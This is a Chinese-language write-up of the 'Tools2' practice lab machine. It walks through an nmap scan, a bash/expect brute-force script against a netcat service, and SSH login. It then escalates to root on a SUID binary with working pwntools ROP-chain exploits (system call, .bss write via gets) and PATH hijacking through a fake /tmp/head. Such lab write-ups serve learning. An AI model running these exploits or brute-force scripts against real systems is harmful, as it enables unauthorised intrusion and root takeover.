Tools2-wp

1
2
3
靶机链接: 【Tools2】链接:https://qfile.qq.com/q/zL6U7aIoes
难度: easy
qq裙: 660930334

涉及知识

1
2
3
4
nmap-->80服务源码泄露-->1337端口利用-爆破-->ssh登录-->suid发现-todd-->构造一次ROP链-head xxx-->环境变量劫持-->root

/bin/sh写入.bss段的方法:
第一次构造ROP链,将/bin/sh写入.bss(可写-空数据),调用gets;第二次ROP链,传入写入/bin/sh,调用system

环境

靶机ip:192.168.21.6

kali ip: 192.168.21.19


端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
┌──(root㉿kali)-[/home/kali]
└─# nmap -p- -sVC -T4 192.168.21.6
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-17 15:13 CST
Nmap scan report for 192.168.21.6 (192.168.21.6)
Host is up (0.00044s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Site doesn't have a title (text/html).
1337/tcp open waste?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
| Please enter password: Wrong
| NULL:
|_ Please enter password:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.95%I=7%D=6/17%Time=685115A6%P=x86_64-pc-linux-gnu%r(NU
SF:LL,17,"Please\x20enter\x20password:\x20")%r(GenericLines,1D,"Please\x20
SF:enter\x20password:\x20Wrong\n")%r(GetRequest,1D,"Please\x20enter\x20pas
SF:sword:\x20Wrong\n")%r(HTTPOptions,1D,"Please\x20enter\x20password:\x20W
SF:rong\n")%r(RTSPRequest,1D,"Please\x20enter\x20password:\x20Wrong\n")%r(
SF:RPCCheck,1D,"Please\x20enter\x20password:\x20Wrong\n")%r(DNSVersionBind
SF:ReqTCP,1D,"Please\x20enter\x20password:\x20Wrong\n")%r(DNSStatusRequest
SF:TCP,1D,"Please\x20enter\x20password:\x20Wrong\n")%r(Help,1D,"Please\x20
SF:enter\x20password:\x20Wrong\n")%r(SSLSessionReq,1D,"Please\x20enter\x20
SF:password:\x20Wrong\n")%r(TerminalServerCookie,1D,"Please\x20enter\x20pa
SF:ssword:\x20Wrong\n")%r(TLSSessionReq,1D,"Please\x20enter\x20password:\x
SF:20Wrong\n")%r(Kerberos,1D,"Please\x20enter\x20password:\x20Wrong\n")%r(
SF:SMBProgNeg,1D,"Please\x20enter\x20password:\x20Wrong\n")%r(X11Probe,1D,
SF:"Please\x20enter\x20password:\x20Wrong\n")%r(FourOhFourRequest,1D,"Plea
SF:se\x20enter\x20password:\x20Wrong\n")%r(LPDString,1D,"Please\x20enter\x
SF:20password:\x20Wrong\n")%r(LDAPSearchReq,1D,"Please\x20enter\x20passwor
SF:d:\x20Wrong\n")%r(LDAPBindReq,1D,"Please\x20enter\x20password:\x20Wrong
SF:\n")%r(SIPOptions,1D,"Please\x20enter\x20password:\x20Wrong\n")%r(LANDe
SF:sk-RC,1D,"Please\x20enter\x20password:\x20Wrong\n")%r(TerminalServer,1D
SF:,"Please\x20enter\x20password:\x20Wrong\n")%r(NCP,1D,"Please\x20enter\x
SF:20password:\x20Wrong\n")%r(NotesRPC,1D,"Please\x20enter\x20password:\x2
SF:0Wrong\n")%r(JavaRMI,1D,"Please\x20enter\x20password:\x20Wrong\n")%r(WM
SF:SRequest,1D,"Please\x20enter\x20password:\x20Wrong\n")%r(oracle-tns,1D,
SF:"Please\x20enter\x20password:\x20Wrong\n")%r(ms-sql-s,1D,"Please\x20ent
SF:er\x20password:\x20Wrong\n")%r(afp,1D,"Please\x20enter\x20password:\x20
SF:Wrong\n")%r(giop,1D,"Please\x20enter\x20password:\x20Wrong\n");
MAC Address: 08:00:27:32:7A:B0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.62 seconds

22 80 1337

服务利用

访问80端口,发现让我们去1337端口获取东西。

image-20250617151548867

nc 连接,发现需要密码

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[/home/kali]
└─# nc 192.168.21.6 1337
Please enter password: dad
Wrong

┌──(root㉿kali)-[/home/kali]
└─# nc 192.168.21.6 1337
Please enter password: root
Wrong

80 端口下获取密码:

1
2
3
4
5
┌──(root㉿kali)-[/home/kali]
└─# curl http://192.168.21.6
<h1>See Port 1337</h1>
<h1>Guess My number && get creds</h1>
<!-- PASSWORD "thehackerlabs" -->

继续,发现又需要输入数字

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[/home/kali]
└─# nc 192.168.21.6 1337
Please enter password: thehackerlabs
Please enter a number (1-1000): 1
Wrong
┌──(root㉿kali)-[/home/kali]
└─# nc 192.168.21.6 1337
Please enter password: thehackerlabs
Please enter a number (1-1000): 2
Wrong

写个sh脚本爆破一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/bash

# 配置
TARGET_IP="192.168.21.5"
TARGET_PORT="1337"
FIXED_PASSWORD="thehackerlabs"

# 主循环
echo "开始攻击:先输入固定密码,然后爆破数字1-1000..."
for number in {1..1000}; do
echo "尝试数字: $number"

# 使用expect工具自动化交互过程
response=$(expect -c "
spawn nc $TARGET_IP $TARGET_PORT
expect \"Please enter password:\"
send \"$FIXED_PASSWORD\r\"
expect \"Please enter a number (1-1000):\"
send \"$number\r\"
expect eof
" 2>/dev/null)

# 检查响应是否包含"Wrong"
if [[ "$response" != *"Wrong"* ]]; then
echo "成功!可能找到了正确数字: $number"
echo "服务器响应: $response"
exit 0
fi

# 可选:添加延迟以避免触发速率限制
# sleep 0.1
done

echo "1-1000的所有数字已尝试完毕,未找到正确数字。"
exit 1

给权限,执行,得出输入700后,返回账号/密码 :

image-20250617152257854

welcome/vulnyx


提权

ssh登录,查找sudo,suid 发现 todd文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
welcome@Tools2:~$ find / -perm -u=s -type f 2>/dev/null 
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/opt/todd

welcome@Tools2:~$ ls -al /opt/todd
-rwsr-sr-x 1 root root 16952 Jun 16 06:09 /opt/todd

welcome@Tools2:~$ /opt/todd
Enter password: www
Wrong password!

在靶机上,用 python 开个http服务,下载此todd,拿到本地分析。

todd分析

main函数:

image-20250617155057957

password为 hackmyvm

password正确之后会进入vulnerable 函数(进入栈溢出部分):

image-20250617155221794

可以发现 gets 函数,填满 缓冲区 即可达到栈溢出。 偏移量为 0x40+8 (64位程序)

此程序并没 /bin/sh 字符串,但有image-20250617155638359

所以我们可以先打通,通过环境变量劫持 head 命令即可。


实际栈布局(利用思路)

1
2
3
4
5
6
7
8
9
10
11
低地址
+-------------------+
| aaaaa... (0x40+8) | <- 填充缓冲区
+-------------------+
| pop rdi; ret | <- 从栈上拿一个值 , 放进rdi寄存器(用来传第一个参数)
+-------------------+
| a_txt | <- 字符串 "head /opt/a.txt" 在内存中的地址 , 会被 pop rdi 拿起来放进rdi寄存器
+-------------------+
| sys_addr | <- system函数的地址,最后执行 system("head /opt/a.txt");
+-------------------+
高地址

pop_rdi 值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kiko:/home/kiko/Desktop# ROPgadget --binary ./todd --only "pop|ret"
Gadgets information
============================================================
0x0000000000401304 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401306 : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401308 : pop r14 ; pop r15 ; ret
0x000000000040130a : pop r15 ; ret
0x0000000000401303 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401307 : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000401199 : pop rbp ; ret
0x000000000040130b : pop rdi ; ret
0x0000000000401309 : pop rsi ; pop r15 ; ret
0x0000000000401305 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401016 : ret
0x0000000000401072 : ret 0x2f


0x000000000040130b : pop rdi ; ret

a_txt 值:

1
2
3
4
root@kiko:/home/kiko/Desktop# ROPgadget --binary ./todd --string "head /opt/a.txt"
Strings information
============================================================
0x0000000000402004 : head /opt/a.txt

sys_addr 的地址可以手动找,也可自动找:

image-20250617161051692


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
io = process("/opt/todd")

off = 0x40 + 8
pop_rdi = 0x000000000040130b #ROP
a_txt = 0x0000000000402004 # ROP head /opt/a.txt
sys_addr = 0x4011D1 # call _system

payload = b'a'*off + p64(pop_rdi) + p64(a_txt) + p64(sys_addr)

io.sendline("hackmyvm")
io.sendline(payload)
io.interactive()

在welcome的家目录下创建一个py文件,python3执行 –> 还是只会读到test

环境变量劫持

1
2
3
4
cd /tmp
echo -e '#!/bin/sh\n/bin/bash' > /tmp/head
chmod +x /tmp/head
export PATH=/tmp:$PATH

再用python3执行,就拿到root了。


[写入.bss段]

(因为todd程序本身并没有 /bin/sh 字符串,会对我们传参拿shell有一点的影响。)

.bss段位于数据段之后,通常紧跟在数据段之后。 其大小取决于程序中未初始化的全局变量和静态变量的总大小。

要成功写入:需要 可写 + 数据为空

可写:

1
2
3
4
5
root@kiko:/home/kiko/Desktop# readelf -S ./todd  | grep .bss
[24] .bss NOBITS 0000000000404080 00003078
起始地址:0x0000000000404080
[24] .bss NOBITS 0000000000404080 00003078
0000000000000010 0000000000000000 WA 0 0 16 # W 代表 可写。

数据为空:

.bss段开始地址之后的值只要为空,可写 ;就都可以写入字符串利用。(尽量往后取,怕占用)

image-20250617163620182

取 0x404140

利用思路

一个参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
低地址
+-------------------+
| aaaaa... (0x40+8) | <- 填充缓冲区
+-------------------+
| pop rdi; ret | <- 执行pop rdi将bss地址存入RDI(用来传第一个参数)
+-------------------+
| bss_addr | <- 被pop到RDI中 (第一个参数)
+-------------------+
| gets | <- 调用gets(bss),等待用户输入(写入到.bss段)
+-------------------+
| pop rdi; ret | <- 再次设置RDI (用来接收第一个参数)
+-------------------+
| bss_addr | <- 将.bss地址(含写入的/bin/bash)作为参数
+-------------------+
| system | <- 调用system(bss) ,即 system("/bin/bash")
+-------------------+
高地址

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

io = process("/opt/todd")
elf = ELF("/opt/todd")

off = 0x40 + 8
pop_rdi = 0x000000000040130b

bss = 0x404140

gets = elf.sym['gets']
system = elf.sym['system']

payload = b'a'*off + p64(pop_rdi) + p64(bss) + p64(gets) +p64(pop_rdi) + p64(bss) + p64(system)

io.sendline("hackmyvm")
io.sendline(payload)

io.interactive()

image-20250617164905861